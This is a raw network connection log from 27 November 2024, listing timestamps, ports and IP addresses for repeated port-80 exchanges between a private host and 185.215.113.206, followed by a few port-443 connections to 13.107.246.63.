Nov 27, 2024 11:14:21.711587906 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.711673975 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.711711884 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.711755991 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.712755919 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.712830067 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.713023901 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.713073969 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.713850021 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.713901043 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.713943958 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.714023113 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.714987040 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.715034008 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.715183973 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.715244055 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.716070890 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.716125011 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.716125011 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.716166019 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.717175961 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.717222929 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.717288017 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.717329979 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.718278885 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.718332052 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.718417883 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.718465090 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.719403028 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.719507933 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.719553947 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.720524073 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.720576048 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.720639944 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.720875025 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.721698046 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.721718073 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.721764088 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.722810984 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.722853899 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.722866058 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.722908020 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.723875046 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.723944902 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.723954916 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.723995924 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.725023031 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.725106955 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.725136042 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.725155115 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.726109028 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.726170063 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.726210117 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.726252079 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.727222919 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.727277040 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.727324009 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.727372885 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.728395939 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.728446960 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.728482962 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.728528976 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.729446888 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.729496956 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.729537964 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.729582071 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.765650034 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.765760899 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.765830994 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.766130924 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.766211033 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.766254902 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.767148972 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.767196894 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.767534018 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.767700911 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.767750978 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.768588066 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.768702030 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.768743992 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.769649982 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.769747972 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.769795895 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.770787954 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.770836115 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.770901918 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.770968914 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.771744013 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.771787882 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.771857977 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.771897078 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.772814989 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.772861004 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.772929907 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.772974014 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.773844004 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.773921013 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.773952007 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.773964882 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.774929047 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.774980068 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.774986982 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.775031090 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.775954008 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.776036024 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.776057959 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.776101112 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.777008057 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.777054071 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.777112007 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.777180910 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.778047085 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.778104067 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.778223038 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.778266907 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.823961973 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.823982000 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.824021101 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.824035883 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.824131966 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.824177980 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.824348927 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.824439049 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.825221062 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.825274944 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.825314045 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.825499058 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.826219082 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.826272011 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.826276064 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.826313019 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.827271938 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.827330112 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.827446938 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.827656031 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.828356028 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.828406096 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.828454018 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.828710079 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.829375982 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.829426050 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.829428911 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.829467058 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.830447912 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.830498934 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.830545902 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.830665112 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.831506968 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.831557989 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.831562042 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.831604958 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.832539082 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.832591057 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.832604885 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.832647085 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.833578110 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.833625078 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.833667994 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.833709002 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.834633112 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.834681988 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.834830046 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.834876060 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.835735083 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.835783958 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.835828066 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.835989952 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.836908102 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.836932898 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.836966038 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.836976051 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.837781906 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.837836027 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.837863922 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.837917089 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.838855982 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.838897943 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.838908911 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.838937044 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.839911938 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.839962006 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.839973927 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.840017080 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.906501055 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.906614065 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.906647921 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.906685114 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.906944990 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.907035112 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.907044888 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.907095909 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.907761097 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.907955885 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.907999992 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.908055067 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.908837080 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.908876896 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.908924103 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.908973932 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.909848928 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.909902096 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.909986973 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.910034895 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.910916090 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.910965919 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.911096096 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.911151886 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.912028074 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.912106037 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.912121058 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.912164927 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.913028955 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.913077116 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.913116932 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.913165092 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.914074898 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.914124966 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.914146900 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.914191961 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.915123940 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.915179014 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.915224075 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.915390015 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.916142941 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.916193008 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.916302919 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.916349888 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.917256117 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.917299986 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.917306900 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.917350054 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.918281078 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.918328047 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.918376923 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.918452978 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.919403076 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.919465065 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.919485092 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.919562101 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.920365095 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.920413971 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.920464993 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.920511007 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.921452999 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.921552896 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.921555042 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.921596050 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.922466040 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.922518969 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.922580957 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.922621965 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.923528910 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.923609018 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.923655033 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.923696041 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.924604893 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.924649000 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.924704075 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.924751997 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.925632954 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.925682068 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.925734043 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.925771952 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.926727057 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.926778078 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.926801920 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.926917076 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.927721977 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.927773952 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.927906990 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.928092957 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.928795099 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.928839922 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.928899050 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.928946972 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.929816961 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.929898977 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.967122078 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.967179060 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.967204094 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.967247963 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.967567921 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.967618942 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.968348026 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.968360901 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.968394041 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.968554974 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.968605995 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.969374895 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.969429970 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.969516039 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.969563007 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.970411062 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.970459938 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.970618963 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.970664024 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.971595049 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.971646070 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.971658945 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.971682072 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.972454071 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.972513914 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.972610950 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.972662926 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.973526001 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.973571062 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.973644018 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.973706961 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.974571943 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.974628925 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.974662066 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.974701881 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.975809097 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.975853920 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.975977898 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.976022005 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.976823092 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.976871967 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.976901054 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.976943016 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.977631092 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.977682114 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.977730989 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.977767944 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.978698015 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.978750944 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.978849888 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.978894949 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.979667902 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.979748011 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:23.162559032 CET	443	49734	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:23.210169077 CET	49734	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:23.260876894 CET	49734	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:23.260900974 CET	443	49734	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:23.262878895 CET	443	49736	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:23.264389038 CET	49734	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:23.264394999 CET	443	49734	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:23.297228098 CET	443	49737	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:23.304586887 CET	49736	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:23.350857019 CET	49737	443	192.168.2.6	13.107.246.63
